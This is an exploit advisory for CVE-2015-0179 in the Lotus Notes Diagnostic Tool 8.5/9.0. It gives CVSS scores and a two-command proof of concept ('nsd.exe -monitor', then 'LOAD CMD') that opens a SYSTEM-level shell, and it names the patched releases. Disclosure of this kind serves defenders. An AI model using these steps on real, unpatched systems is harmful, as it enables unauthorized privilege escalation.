Lotus Notes Diagnostic Tool 8.5 / 9.0 Privilege Escalation

Credit: ParagonSec
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Lotus Notes Diagnostic Tool (nsd.exe) Privelege Escalation # Date: 02-09-2017 # Exploit Author: ParagonSec # Website: https://github.com/paragonsec # Version: 8.5 & 9.0 # Tested on: Windows 7 Enterprise # CVE: CVE-2015-0179 # Vendor CVE URL: http://www-01.ibm.com/support/docview.wss?uid=swg21700029 # Category: Local & Privilege Escalation Exploit 1. Description Lotus Notes Diagnostic Tool (nsd.exe) runs under NT Authority/System rights. This can be leveraged to run a program under the System context and elevate local privileges. 2. Proof of Concept First you need to execute nsd.exe under the monitor/CLI mode: > nsd.exe -monitor Next, after NSD finishes loading you can execute any program under the System context. In this example we will execute CMD. nsd> LOAD CMD You will see that cmd is opened as System now. Also, NSD can be used to attach, kill processes or create memory dumps under the System context. 3. Solution: This has been fixed on release 9.0.1 FP3 and 8.5.3 FP6.

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